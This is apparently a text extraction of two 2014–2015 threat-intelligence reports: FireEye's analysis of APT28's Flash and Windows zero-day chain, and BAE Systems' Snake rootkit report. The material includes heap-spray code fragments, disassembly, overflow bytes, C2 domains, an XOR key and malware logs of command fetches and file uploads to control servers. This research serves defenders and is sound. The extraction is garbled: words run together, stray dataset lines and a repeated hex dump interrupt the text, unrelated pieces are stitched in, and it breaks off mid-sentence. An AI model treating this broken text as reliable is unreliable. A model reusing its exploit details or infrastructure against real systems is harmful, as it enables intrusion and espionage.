http://www.threatconnect.com/news/the-anthem-... 33 of 33 03/22/2015 10:14 PM Operation RussianDoll: Adobe Windows Zero-Day Exploits Likely Leveraged by Russias APT28 in Highly-Targeted Attack Threat Research FireEye Inc fireeye.com OperationRussianDoll:AdobeWindowsZeroDayExploits LikelyLeveragedbyRussiasAPT28inHighlyTargetedAttack FireEyeLabsrecentlydetectedalimitedAPTcampaignexploitingzerodayvulnerabilitiesinAdobe FlashandabrandnewoneinMicrosoftWindows. UsingtheDynamicThreatIntelligenceCloud(DTI), FireEyeresearchersdetectedapatternofattacksbeginningonApril13th,2015.Adobeindependently patchedthevulnerability(CVE20153043)inAPSB1506.Throughcorrelationoftechnicalindicators andcommandandcontrolinfrastructure,FireEyeassessthatAPT28isprobablyresponsibleforthis activity. MicrosoftisawareoftheoutstandinglocalprivilegeescalationvulnerabilityinWindows(CVE2015 1701).WhilethereisnotyetapatchavailablefortheWindowsvulnerability,updatingAdobeFlashto thelatestversionwillrenderthisinthewildexploitinnocuous. WehaveonlyseenCVE20151701in useinconjunctionwiththeAdobeFlashexploitforCVE20153043.TheMicrosoftSecurityTeamis workingonafixforCVE20151701. ExploitOverview Thehighlevelflowoftheexploitisasfollows: 1.Userclickslinktoattackercontrolledwebsite 2.HTML/JSlauncherpageservesFlashexploit 3.FlashexploittriggersCVE20153043,executesshellcode 4.Shellcodedownloadsandrunsexecutablepayload 5.Executablepayloadexploitslocalprivilegeescalation(CVE20151701)tostealSystemtoken TheFlashexploitisservedfromunobfuscatedHTML/JS.ThelauncherpagepicksoneoftwoFlashfiles todeliverdependinguponthetargetsplatform(Windows32versus64bits). TheFlashexploitismostlyunobfuscatedwithonlysomelightvariablenamemangling. Theattackers reliedheavilyontheCVE20140515Metasploitmodule,whichiswelldocumented. ItisROPless,and insteadconstructsafakevtableforaFileReferenceobjectthatismodifiedforeachcalltoaWindows API. ThepayloadexploitsalocalprivilegeescalationvulnerabilityintheWindowskernelifitdetectsthatitis runningwithlimitedprivileges. Itusesthevulnerabilitytoruncodefromuserspaceinthecontextofthe kernel,whichmodifiestheattackersprocesstokentohavethesameprivilegesasthatoftheSystem process. https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://www.evernote.com/OutboundRedirect.action?desthttps3A2F2Fwww.fireeye.com2Fresources2Fpdfs2Fapt28.pdf CVE20153043Exploit TheprimarydifferencebetweentheCVE20140515metasploitmoduleandthisexploitis,obviously,the vulnerability. CVE20140515exploitsavulnerabilityinFlashsShaderprocessing,whereasCVE2015 3043exploitsavulnerabilityinFlashsFLVprocessing. TheculpritFLVfileisembeddedwithinAS3in twochunks,andisreassembledatruntime. Vulnerability AbufferoverflowvulnerabilityexistsinAdobeFlashPlayer(17.0.0.134)whenparsingmalformedFLV objects. Attackersexploitingthevulnerabilitycancorruptmemoryandgainremotecodeexecution. Intheexploit,theattackerembedstheFLVobjectdirectlyintheActionScriptcode,andplaysthevideo usingNetStreamclass. Inmemory,itlookslikethefollowing: 0000000:464c5601050000000900000000120000FLV............. 0000010:f40000000000000002000a6f6e4d6574...........onMet 0000020:6144617461080000000b000864757261aData.......dura 0000030:74696f6e004047ca3d70a3d70a000577tion. G.p.....w 0000040:69647468004074000000000000000668idth.t........h 0000050:656967687400406e000000000000000deight.n........ 0000060:766964656f6461746172617465000000videodatarate... .. 0003b20:276eee72871b47f741a00000003a1b08n.r..G.A....:.. 0003b30:00044100000f0000000068eeeeeeeeee..A.......h..... 0003b40:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee................ 0003b50:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee................ 0003b60:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee................ FilesoftheFLVfileformatcontainasequenceofTagstructures. InFlash,theseobjectsarecreated whenparsingFLVTags: .text:1018ACE9sub_1018ACE9procnearCODEXREF:sub_1018BBAC2Bp .text:1018ACE9sub_101927971A1p... .text:1018ACE9 .text:1018ACE9arg_0dwordptr4 .text:1018ACE9 .text:1018ACE9moveax,ecx .text:1018ACEBmovecx,[esparg_0] .text:1018ACEFmovdwordptr[eax],offsetoff_10BA771C .text:1018ACF5movdwordptr[eax24h],1 .text:1018ACFCanddwordptr[eax14h],0 .text:1018AD00mov[eax28h],ecx .text:1018AD03movbyteptr[eax20h],0 .text:1018AD07retn4 .text:1018AD07sub_1018ACE9endp Inthecaseofthisexploit,aTagstructurebeginsatoffset0x3b2fintotheFLVstreamthat,whenparsed, populatestheTagstructureasfollows: Tag2: UINT_8type:8 UINT_24datasize:1089 UINT_24timestamp:15 https://www.evernote.com/OutboundRedirect.action?desthttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research.html2Fcategory2Fetc2Ftags2Ffireeye-blog-threat-research2Fthreat-research https://www.evernote.com/OutboundRedirect.action?desthttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research.html2Fcategory2Fetc2Ftags2Ffireeye-blog-authors2Fcap-fireeye-labs UINT_24timestamp:15 UINT_8timestamphi:0 UINT_24streamid:0 UINT_4fmt:6 UINT_2sr:2 UINT_1bits:0 UINT_1channels:0 UBYTEdata[1088]:\xee\xee\xee\xee UINT_32lastsize:0xeeeeeeee Beginningwithinthedatafield,allcontentsoftheFLVstreambecome0xEE.Consequently,thedata andlastsizefieldsaremangled,andonefinaltagtechnicallyexistsconsistingexclusivelyof0xEE: Tag3: UINT_8type:0xEE UINT_24datasize:0xEEEEEE OnecanseethedatasizefieldofTag2populatedfromtheattackersFLVstreambelow: .text:10192943moveax,[ebx24h] .text:10192946mov[esi14h],eax .text:10192949movzxeax,byteptr[ebx19h]00 .text:1019294Dmovzxecx,byteptr[ebx1Ah]04 .text:10192951shleax,8 .text:10192954oreax,ecx .text:10192956movzxecx,byteptr[ebx1Bh]41 .text:1019295Ashleax,8 .text:1019295Doreax,ecx .text:1019295Fmovecx,ebx .text:10192961mov[esi0Ch],eax0x441 .text:10192964callsub_1002E2B3 Thebufferisallocatedwithfixedsize0x2000: .text:101A647Epush2000h .text:101A6483movecx,esi .text:101A6485callsub_101A6257alloc0x2000buffer,storeinesi0xDC .text:101A627Fpush0 .text:101A6281pushedi0x2000 .text:101A6282callsub_105EBEB0 .text:101A6287popecx .text:101A6288popecx .text:101A6289mov[esi0DCh],eax Sincethesizeiscontrolledbytheattacker,itspossibletooverflowthefixedsizebufferwithcertain data. Adatasizeof0x441resultsinavaluehereof0x1100passedtosub_100F88F8,whichmemcopies 0x2200bytesin0x11chunksof0x200.Thelastmemcpyoverflowsthefixedsize0x2000bufferintoa adjacentheapmemory. AttackersspraytheheapwitharrayofVector,0x7fe480x2000,andcreateholesofsuchsize, whichwillbeallocatedbythesaidobject. while(_local_2this._bp35)//_bp350x2000 this._ok47[_local_2]newVector.uint(this._lb60)//_lb600x07FE _local_30x00 while(_local_3this._lb60) this._ok47[_local_2][_local_3]0x41414141 _local_3 _local_2(_local_20x01) _local_20x00 while(_local_2this._bp35) this._ok47[_local_2]null _local_2(_local_20x02) Asthepreviouspicturedemonstrated,thefollowedVectorobjectslengthfieldbeingoverflowedas 0x80007fff,whichenablestheattackertoread/writearbitrarydatawithinuserspace. Shellcode ShellcodeispassedtotheexploitfromHTMLinflashvars. Theshellcodedownloadsthenextstage payload,whichisanexecutablepassedinplaintext,tothetempdirectorywithUrlDownloadToFileA, whichitthenrunswithWinExec. PayloadC2 ThisexploitdeliversamalwarevariantthatsharescharacteristicswiththeAPT28backdoors CHOPSTICKandCORESHELLmalwarefamilies,bothdescribedinourAPT28whitepaper. The malwareusesanRC4encryptionkeythatwaspreviouslyusedbytheCHOPSTICKbackdoor. Andthe C2messagesincludeachecksumalgorithmthatresemblesthoseusedinCHOPSTICKbackdoor communications. Inaddition,thenetworkbeacontrafficforthenewmalwareresemblesthoseusedby theCORESHELLbackdoor. LikeCORESHELL,oneofthebeaconsincludesaprocesslistingfromthe victimhost. AndlikeCORESHELL,thenewmalwareattemptstodownloadasecondstageexecutable. OneoftheC2locationsforthenewpayload,87.236.215[. ]246,alsohostsasuspectedAPT28domain sslicloud[. ]com. Thesamesubnet(87.236.215.0/24)alsohostsseveralknownorsuspectedAPT28 domains,asseeninTable1. ThetargetfirmisaninternationalgovernmententityinanindustryverticalthatalignswithknownAPT28 targeting. CVE20151701Exploit ThepayloadcontainsanexploitfortheunpatchedlocalprivilegeescalationvulnerabilityCVE2015 1701inMicrosoftWindows. TheexploitusesCVE20151701toexecuteacallbackinuserspace. The callbackgetstheEPROCESSstructuresofthecurrentprocessandtheSystemprocess,andcopies datafromtheSystemtokenintothetokenofthecurrentprocess. Uponcompletion,thepayload continuesexecutioninusermodewiththeprivilegesoftheSystemprocess. BecauseCVE20153043isalreadypatched,thisremoteexploitwillnotsucceedonafullypatched system. IfanattackerwantedtoexploitCVE20151701,theywouldfirsthavetobeexecutingcodeon thevictimsmachine. Barringauthorizedaccesstothevictimsmachine,theattackerwouldhavetofind someothermeans,suchascraftinganewFlashexploit,todeliveraCVE20151701payload. MicrosoftisawareofCVE20151701andisworkingonafix. CVE20151701doesnotaffectWindows 8andlater. Acknowledgements Thankyoutoallofthecontributorstothisblog ThefollowingpeopleinFireEye:DanCaselden,YasirKhalid,JamesTomBennett,GenWeiJiang, CorbinSouffrant,JoshuaHoman,JonathanWrolstad,ChrisPhillips,DarienKindlund MicrosoftAdobesecurityteams 1101010 11010110 11010101001 0010101001 0101001001 01010101011 01010010101 001010010110 1011011010111 00110100100110 0101001011010101 011011010111010101 0101001001001101011 1001011010110010101 10110101111001011 0100100010101010 010110101010110 1101001010110 1010010110101 10010110101010 011011001011 11 0110100101011 1010100110101010101011101010101001 110101010110101010110101010101001 10101010001110101101001110100101 01010101101110101010101010101001 1010101010110101011010010100101 010101010100101010011010010101 01011101011100100101101001010 11101101010101010101101001010 0101010100110010101101001010 110101010011001011101001010 110111010110100101101001010 01101101010101011101001010 01010101001010011101001010 1101010100101001101001010 010111010110101101001010 111011010100101101001010 0101010100101110001010 0101010100101011001010 010111010110111001010 11101101010110101010 1101010100101001010 0101010100101001010 010111010111001010 11101100111001010 0101010101001010 0101010101001010 110111001001010 01010101001010 1001011001010 1001110001010 100110101010 1011011010 1001010 1101 SNAKE CAMPAIGN CYBER ESPIONAGE TOOLKIT .tex t:00 0496 29 .tex t:00 0496 2A .tex t:00 0496 2D .tex t:00 0496 2E m ov .tex t:00 0496 31 p ush e dx .tex t:00 0496 32 c all d ecry pt_t raffi c .tex t:00 0496 37 t est e ax, eax .tex t:00 0496 39 j z s hort exi t .tex t:00 0496 3B m ov e ax, [ebp dwR esul t] .tex t:00 0496 3E c mp e ax, _DEA DBEA F ... .tex t:00 0147 B8 a Base name dobj ect: .tex t:00 0147 B8 u nico de 0 , \ Base Name dObj ects \B9 3DFE D5-9 A3B- 459b -A61 7-59 FD9F AD69 3E ,0 .tex t:00 0148 2C a IdSn ake_ confi g db I d: s nake _con fig.c 520 4 20 07-0 1-04 10: 28:1 9Z v lad ,0 ... .tex t:00 0381 A0 d ecry pt_D LL p roc near .tex t:00 0381 A0 p ush e bp .tex t:00 0381 A1 m ov e bp, esp .tex t:00 0381 A3 c mp fl ag, 0 .tex t:00 0381 AA j nz s hort exi t .tex t:00 0381 AC p ush o ffse t ab yBuf fer .tex t:00 0381 B1 p ush o ffse t En cryp ted_ DLL .tex t:00 0381 B6 c all d ecry pt_X OR_A A 2BAE Systems Applied Intelligence: Snake Rootkit Report 2014 EXECUTIVE SUMMARY 3BAE Systems Applied Intelligence: Snake Rootkit Report 2014 OVERVIEW One of the questions which comes up in the months after big security whitepaper disclosures is: where are they now? In other words, what happened to the operators, tools, and infrastructure which was revealed in the reports, blog-posts, and press interviews. Did they continue on as before, did they re-build the disclosed infrastructure and tools, did they go away and get jobs in another line of work? In some cases, the disclosure had little, if any impact on the operation. For example, after the McAfee ShadyRAT report in 2011, there was absolutely no change in the attacks from the group behind this. However, when Mandiant released their APT1 report in 2013, there was a noticeable reduction in activity from the group and much of the tools and infrastructure has not been seen since. In the September 2010 issue of Foreign Affairs magazine1, former US Deputy Secretary of Defense William J. Lynn discussed a cyber-attack which happened two years previously on the DoDs classified computer networks. Lynn described how a foreign intelligence agency planted malicious code on the networks with the aim of transferring data to servers under their control. The article included the now oft-quoted phrase digital beachhead to describe what was undoubtedly a significant compromise of US military systems. Further reports in the press2 kept the story alive in 2011, but since then this threat has received remarkably little attention. However, the operation behind the attacks has continued with little modification to the tools and techniques, in spite of the widespread attention a few years ago. They use highly sophisticated malware tools to maintain persistent access to their targets. These tools can be used for covert communications in a number of different modes, some of which present significant challenges for traditional security technologies to detect. There are some threats which come and go, whilst there are others which are permanent features of the landscape. In this paper, we describe the tools and techniques of one of the most sophisticated and persistent threats we track. We hope this will help victims identify intrusions and understand their need to improve defences. Cyber security is a collaborative effort the operation described in this paper again raises the bar for the security community in their efforts to keep up with the attackers in cyber-space 1 http://www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain 2 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 http://www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 4BAE Systems Applied Intelligence: Snake Rootkit Report 2014 TECHNICAL DESCRIPTION 5BAE Systems Applied Intelligence: Snake Rootkit Report 2014 BACKGROUND When antivirus back-end classification platforms cannot identify a malware family for an analysed malicious sample, they assign generic names, such as Trojan Horse or Agent. The variant letters are also assigned automatically, by using hexavigesimal (or Base26) notation. That is, the variant letters are auto-assigned starting from A, followed with B, and so on until Z. Next comes AA, AB and so on, until ZZ. After that, the variant letters start from AAA, AAB and so on, until ZZZ. Back in 2008 an unknown malicious file was discovered and auto-classified as Agent. BTZ, meaning it was registered as unknown malicious sample 1,898 in an anti-virus classification system. It wasnt given an actual name, only a generic one. Meanwhile, internally the authors behind this malware were using their own naming systems - with specific titles for their file components and projects such as snake, uroburos, sengoku, and snark used to denote variants of their framework. A recent report from German security company GData3 described a sample from the uroburos variant of this framework. Their report revealed the complex nature of this malware family, and showed that the operation behind Agent. BTZ has continued. As a result of this disclosure, we are also releasing our own technical analysis of the threat, including a timeline of known samples, known Command-and-Control (CC) servers, and other indicators to aid investigators in discovering attacks. Reverse engineering of recent malware samples shows these to be much more advanced variants of Agent. BTZ, though still sharing many similarities and encryption methods with the original. Further investigation allowed us to locate related samples compiled between 2006 and 2014, and spanning across several distinctive generations. The first section of this report gives an overview of the samples collected, where they were reported and the timelines derived from their analysis. Snakes architecture turned out to be quite interesting. We have identified two distinct variants, both highly flexible but with two different techniques for establishing and maintaining a presence on the target system. In general, its operation relies on kernel mode drivers, making it a rootkit. It is designed to covertly install a backdoor on a compromised system, hide the presence of its components, provide a communication mechanism with its CC servers, and enable an effective data exfiltration mechanism. At the same time, Snake exposed a flexibility to conduct its operations by engaging these noticeably different architectures. In the first model, the network communications are carried out from the userland - i.e. the area of the computer system where application software executes. In another model, the network communications are handled by a kernel mode driver - i.e. the area where lower level system code such as device drivers run. The choice of what architecture should be used may depend on a specific targets environment, allowing the Snake operators to choose the most suitable architecture to be deployed. In both architectures there is a kernel mode driver installed and a usermode DLL injected by the driver into the system processes. In both architectures, there is both 32-bit and 64-bit code involved. In order to distinguish between these architectures, we will call them the usermode-centric and the kernel-centric architectures respectively. The remainder of this report gives a detailed explanation of how the two Snake architectures embed themselves in the target system and communicate with the outside world. We have also provided a set of technical indicators in the Appendix to enable organisations and the security research community to identify compromises. 3 https://www.gdata.de/rdk/dl-en-rp-Uroburos 6BAE Systems Applied Intelligence: Snake Rootkit Report 2014 SNAKE SAMPLES In total we have collected over 100 unique files related to this espionage toolkit. Many of these were submitted to online malware analysis websites by victims and investigators over several years. In many cases the source country information of the submission is available. These allow us to visualise the distribution of countries where this malware has been seen: Whilst this view is likely to only be the tip of the iceberg, it does give us an initial insight into the profile of targets for the Snake operations. Samples Submission Year Source country 2010 2011 2012 2013 2014 Total Ukraine 1 3 6 8 14 32 Lithuania 9 2 11 Great Britain 4 4 Belgium 2 2 Georgia 2 2 United States 1 1 2 Romania 1 1 Hungary 1 1 Italy 1 1 Total 1 4 7 24 20 56 Samples by compile month Year 01 02 03 04 05 06 07 08 09 10 11 12 Total 2006 1 3 4 2007 1 1 1 3 2008 2 1 2 1 2 8 2009 1 1 1 3 2 2 10 2010 1 1 1 1 1 2 7 2011 1 4 1 3 1 3 13 2012 2 1 1 1 2 7 14 2013 1 13 5 2 5 4 3 2 1 2 1 39 2014 2 2 Total 8 15 9 4 9 13 6 2 1 11 10 12 100 Plotting the day of the week in which the samples were compiled shows a now familiar pattern for analysts of modern cyber-attacks. The creators of the malware operate a working week, just like any other professional. The single sample in our set which was compiled on a Saturday is an outlier, but doesnt alter the conclusion. Similarly, plotting the hour of the day in which the samples were compiled reveals another human pattern the working day. This has been adjusted to UTC4 to show a possible fit to the operators local time. Other useful visualisations of the operations come from the compile timestamps. Below is shown a table with a count of the number of files in our sample set from recent years. Two samples compiled in late January 2014 show that this activity is ongoing. Samples compiled per day of the week 0 5 10 15 20 25 30 Mon Tue Wed Thu Fri Sat Sun Samples compiled by hour of the day (adjusted to UTC4) 7BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The usermode-centric architecture of Snake is known to have been used from 2011 till 2014, with the most recent sample compiled on January 28, 2014. With this architecture, the Snake driver is mainly used to load the DLL module into the usermode processes, and then use that module for the communications. One of the analysed samples exposed multiple debug messages and source control check-in logs. It is not clear why those messages were allowed in the deployed driver - possibly an operational security lapse. However, they give some insight into the internal structure of the source code. For example, the analysed driver gave away the following source file names: d:\proj\cn\fa64\common\loadlib\common/loadlib_helpers.c d:\proj\cn\fa64\common\loadlib\win/loadlib.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libunhook.c d:\proj\cn\fa64\uroboros\rk_common\libhook\ntsystem/libhook.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/hook_helpers.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libhook.c d:\proj\cn\fa64\uroboros\rk_common\libhook\common/idthook.c .\rk_ntsystem.c ..\common\helpers\interface_s.c ..\k2\fa_registry.c ..\k2\syshook.c The source control check-in log examples, showing the names of the developers to be vlad and gilg: Id: snake_config.c 5204 2007-01-04 10:28:19Z vlad Id: mime64.c 12892 2010-06-24 14:31:59Z vlad Id: event.c 14097 2010-11-01 14:46:27Z gilg Id: named_mutex.c 15594 2011-03-18 08:04:09Z gilg Id: nt.c 20719 2012-12-05 12:31:20Z gilg Id: ntsystem.c 19662 2012-07-09 13:17:17Z gilg Id: rw_lock.c 14516 2010-11-29 12:27:33Z gilg Id: rk_bpf.c 14518 2010-11-29 12:28:30Z gilg Id: t_status.c 14478 2010-11-27 12:41:22Z gilg It also exposed the project name of this particular variant as sengoku: d:\proj\cn\fa64\sengoku\_bin\sengoku\win32_debug\sengoku_Win32.pdb Now its time to execute the driver and see what it does. USERMODE-CENTRIC ARCHITECTURE 8BAE Systems Applied Intelligence: Snake Rootkit Report 2014 When first executed, the driver creates device named \Device\vstor32 with a symbolic link \DosDevices\vstor32. This device is used for userland/kernel communications. Next, it drops a DLL into the windows directory - the DLL is carried in the body of the driver as a binary chunk with XOR 0xAA applied on top of it, so the driver decrypts it first. Depending on the variant, the DLL is dropped either under a random name or a hard-coded name, such as mscpx32n.dll. The purpose of this DLL is to be injected into the user-mode processes. Some variants of Snake carry the DLL modules that can be installed as a service, to be run within taskhost.exe or services.exe processes. Next, the driver sets up the hooks for the following kernel-mode APIs: ZwCreateThread ZwCreateUserProcess ZwShutdownSystem After that, it calls PsSetCreateProcessNotifyRoutine() in order to be notified whenever a new process is started. The handlers of the hooks above along with the notification callback allow Snake to stay persistent on a system, being able to infect any newly created processes, and restore its driver file in case it gets deleted. Another set of hooks it sets is designed to hide the presence of the Snake components on the system: ZwQuerySystemInformation ZwQueryInformationProcess ZwClose ZwTerminateProcess The driver then watches for all userland processes to see if they load any web pages. As long as the user is not using the Internet, Snake stays dormant too, as there is no process that communicates with the web servers. However, as soon as the user goes online, the driver intercepts that event and then immediately injects the malicious DLL module into the process that initiated connection (the browser). Once injected, the module initiates polling from one of the hard-coded CC servers. The purpose of this behaviour is to blend Snakes traffic with the browser traffic, bypassing the firewalls, and keeping a low profile at the same time. By communicating from within a process that also communicates, even a technically savvy user will find it challenging to detect Snake traffic among legitimate traffic. The reason behind such difficulty is because modern web pages often fetch pages from the different web servers, including such data as additional scripts, CSS templates, advertising contents, analytics data, blogs, social networking data, etc. When intercepted with the purpose of analysis, such traffic may literally represent itself hundreds of DNS and HTTP requests made when a popular website, such as a news website is open. Hiding a few DNS/HTTP requests among busy network traffic allows Snake rootkit to stay unnoticed. In order to test Snakes communications with the CC servers, and still being able to clearly distinguish its traffic, a small tool was built to generate GET request to a web server running on the analysed system. The tool was named as chrome.exe in order to trigger the malware communications. ROOTKIT EXECUTION 9BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The domain names of the CC servers it relies on are hard-coded in the body of the malware. Some examples are given below, and a full list of known domains is given in the Appendix D: north-area.bbsindex.com winter.site11.com swim.onlinewebshop.net july.mypressonline.com toolsthem.xp3.biz softprog.freeoda.com euassociate.6te.net As seen in the traffic dump above, the malware first resolves the domain name of its CC. Next, it fetches a file /D/pub.txt, and expects the server to respond with a string 1, acknowledging its active: 03:52:06 1336: Connect swim.onlinewebshop.net type(0)... OK 03:52:06 1336: GET /D/pub.txt 03:52:07 1336: Http status: 200 03:52:07 1336: recv 1/1 03:52:07 DownLoad 1 command(s) Once acknowledged, it asks the server for a command, and the server returns a new command to execute: 03:52:11 1404: Connect swim.onlinewebshop.net type(0)... OK 03:52:11 1404: GET /D/77568289 03:52:12 1404: Http status: 200 03:52:12 1404: Command for all 03:52:12 1404: recv 346/346 03:52:12 Command Id:303149772662877808(130201837456870000)[13:42:25 05/08/2013] COMMAND-AND-CONTROL COMMUNICATIONS As long as the test tool named chrome.exe did not make any requests, its memory stayed pristine. There were no injections made by the driver. As soon as the tool made its first GET requests, the driver immediately injected a malicious DLL module in it, and that module started producing the following traffic: Received command No. Time Source Destination Protocol Length Info 38 44.290689000 192.168.202.131 192.168.202.2 DNS 77 Standard query 0x6ad3 A winter.site11.com 41 44.292830000 192.168.202.2 192.168.202.131 DNS 93 Standard query response 0x6ad3 A 31.170.161.136 45 44.518185000 192.168.202.131 31.170.161.136 HTTP 219 GET /D/pub.txt HTTP/1.1 47 44.743999000 31.170.161.136 192.168.202.131 HTTP 474 HTTP/1.1 302 Found (text/html) 84 45.990199000 192.168.202.131 31.170.161.136 HTTP 233 GET /D/1/f42cce984070b8ab1c0 HTTP/1.1 86 46.216079000 31.170.161.136 192.168.202.131 HTTP 474 HTTP/1.1 302 Found (text/html) 94 46.525887000 192.168.202.131 31.170.164.249 HTTP 217 GET /? HTTP/1.1 101 46.939359000 192.168.202.131 192.168.202.2 DNS 82 Standard query 0x5ae5 A swim.onlinewebshop.net 102 46.940914000 192.168.202.2 192.168.202.131 DNS 98 Standard query response 0x5ae5 A 83.125.22.197 107 47.287205000 192.168.202.131 83.125.22.197 HTTP 224 GET /D/pub.txt HTTP/1.1 109 48.219805000 83.125.22.197 192.168.202.131 HTTP 330 HTTP/1.1 200 OK (text/html) 118 48.813394000 192.168.202.131 192.168.202.2 DNS 82 Standard query 0x5362 A july.mypressonline.com 119 48.814837000 192.168.202.2 192.168.202.131 DNS 98 Standard query response 0x5362 A 83.125.22.197 123 49.131675000 192.168.202.131 83.125.22.197 HTTP 224 GET /D/pub.txt HTTP/1.1 125 49.780323000 83.125.22.197 192.168.202.131 HTTP 330 HTTP/1.1 200 OK (text/html) 137 50.536285000 192.168.202.131 31.170.161.136 HTTP 220 GET /D/77568289 HTTP/1.1 139 50.762073000 31.170.161.136 192.168.202.131 HTTP 474 HTTP/1.1 302 Found (text/html) 147 51.101706000 192.168.202.131 31.170.164.249 HTTP 217 GET /? HTTP/1.1 154 51.548661000 192.168.202.131 83.125.22.197 HTTP 225 GET /D/77568289 HTTP/1.1 163 52.014730000 192.168.202.131 83.125.22.197 HTTP 225 GET /D/77568289 HTTP/1.1 165 52.637958000 83.125.22.197 192.168.202.131 HTTP 679 HTTP/1.1 200 OK (text/html) 10BAE Systems Applied Intelligence: Snake Rootkit Report 2014 Once decrypted, the malware interprets the received command, as reflected in the malware log below (the new CC server address is highlighted in it): 03:52:12 Del after 0 03:52:12 Run instruction: 6 ID:303149772147483647(13:41:34 05/08/2013) 03:52:12 Add address marketplace.servehttp.com/UPDATE/cert1024Un77kos 03:52:12 Finish run instruction. After that, the malware connects to the new CC, asking it for another command: 03:52:13 1400: Connect marketplace.servehttp.com type(0)... OK 03:52:13 1400: GET /IMAGE/pub.html 03:52:15 1400: Http status: 200 03:52:16 1400: recv 1/1 03:52:16 DownLoad 1 command(s). 00000000 74 E4 7E F4 9E 8E D8 65 B3 06 EB B3 08 EA 3E 84 t.....e....... 00000010 D5 A1 D2 ED 5D 0C 89 91 65 DE 4E B6 0C E2 2C 39 ....]...e.N...,9 00000020 A9 8A 3D B9 0B C0 E6 12 E9 F9 81 0A CF C3 D9 0C ............... 00000030 5A 6A 15 B4 00 00 00 00 01 00 00 00 00 00 00 00 Zj.............. 00000040 31 64 4D 33 75 75 34 6A 37 46 77 34 73 6A 6E 62 1dM3uu4j7Fw4sjnb 00000050 13 3D D4 DA 90 F4 BA 35 1C 36 4A 79 69 96 B1 D4 ......5.6Jyi... 00000060 D8 F1 07 6F 7B CC C4 68 9D B7 86 3E 4B 6F BA FB ...o..h...Ko.. 00000070 6E AB 7B 29 32 FD 7C 75 B9 DF 7F C0 0C 81 2D 14 n.)2.u......-. 00000080 23 F9 A4 DF D3 F1 18 97 4D CD 71 D0 52 D6 A2 E9 .......M.q.
231
R... 00000090 FF 58 30 3D A8 8A DD 4D 3F DB AE 9A F5 07 3B 21 .X0...M?.....
48,743
48,895
153
data/reports_final/0231.txt
R... 00000090 FF 58 30 3D A8 8A DD 4D 3F DB AE 9A F5 07 3B 21 .X0...M?..... 000000A0 67 5A 34 22 AD 60 CB DD A4 E2 B5 77 A1 6A 4C 2E gZ4......w.jL. 000000B0 C8 75 91 01 CA 5B B3 28 3E 55 C8 68 B2 2C 40 E4 .u...[. (U.h.,. 000000C0 02 A9 64 8B 80 BD 0E AB 58 25 00 40 6E AB DD 5B ..d.....X.n..[ 000000D0 D1 0A 32 AE 4A E2 60 79 BE 47 10 AE 73 35 4C 65 ..2.J.y. G..s5Le 000000E0 06 3C AA D8 F0 49 52 DB 22 A5 0D 7B 2B 4D 8A D1 ....IR...M.. 000000F0 21 5C 62 11 E6 13 E2 CA AF A5 4F 5A 9E 1C AF AE \b.......OZ.... 00000100 C4 1C 36 4D A0 E4 72 3A CD 07 A3 01 AE E6 0A 84 ..6M..r:........ 00000110 D4 8B 03 FB 0D 68 19 FD 86 71 8E FD FC 2D C3 5C .....h...q...-.\ 00000120 49 A4 E3 40 9B 77 16 BA 86 4A DD 0D 15 7D B1 BD I...w...J..... 00000130 A9 54 C3 F6 E4 05 72 B1 E6 B7 A5 A7 31 CE 29 8B .T....r.....1. ). 00000140 EF 95 58 2A 2E 48 0E 7A BD B8 B7 CE 48 32 E2 48 ..X.H.z....H2.H 00000150 2E E2 94 65 F0 19 FC F5 ED 1B ...e...... 00000000 49 44 33 30 33 31 34 39 37 37 32 36 36 30 38 34 ID30314977266084 00000010 37 38 30 38 23 30 36 20 26 6D 61 72 6B 65 74 70 780806 marketp 00000020 6C 61 63 65 2E 73 65 72 76 65 68 74 74 70 2E 63 lace.servehttp.c 00000030 6F 6D 26 2F 55 50 44 41 54 45 2F 26 63 65 72 74 om/UPDATE/cert 00000040 31 30 32 34 26 55 6E 37 37 6B 6F 23 73 26 26 26 1024Un77kos 00000050 0A . 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF Traffic is decrypted The command it receives from CC above (swim.onlinewebshop.net) is encrypted. In order to decrypt it, the malware first applies the XOR mask to the bytes that start from offset 0x40: 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6g s923HL34x2f5cvd0fk6c1a0s An identical XOR mask was also used by Agent. BTZ. Next, it calculates and confirms a CRC32 checksum within the command, further decrypts the data by using the Number Theory Library (NTL), and makes sure the command is destined to the current host by matching the ID field in it. 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 11BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The command it receives is called UpLoad, so it uploads all the collected logs to the server, and then cleans out those logs: 03:52:16 UpLoad: http upload 4 file(s). 03:52:17 652: Connect marketplace.servehttp.com type(0)... OK 03:52:17 652: GET test file /IMAGE/pub.html 03:52:17 652: POST /IMAGE/2/55198739672286404661840843638320033 03:52:18 652: C:\WINDOWS\NtUninstallQ812589\gstat32.bin 310[B] 03:52:19 652: Http Status:200 03:52:19 652: POST /IMAGE/2/32773318678423920155243775957661252 03:52:19 652: result.xml 1278[B] 03:52:20 652: Http Status:200 03:52:21 652: POST /IMAGE/2/41535327538451061594793127961089611 03:52:21 652: C:\WINDOWS\NtUninstallQ812589\mtmon32.sdb 655[B] 03:52:22 652: Http Status:200 03:52:22 652: POST /IMAGE/2/35192812459183876172895945534862460 03:52:22 652: C:\WINDOWS\NtUninstallQ812589\mtmon.sdb 748[B] 03:52:23 652: Http Status:200 The files it uploads are stored inside its home directory windows\NtUninstallQ[random], where [random] is a random number. For example, Snakes home directory could be C:\WINDOWS\NtUninstallQ812589. The files within that directory are used by the rootkit to store configuration and log data. When decrypted with the same XOR key that was used by Agent. 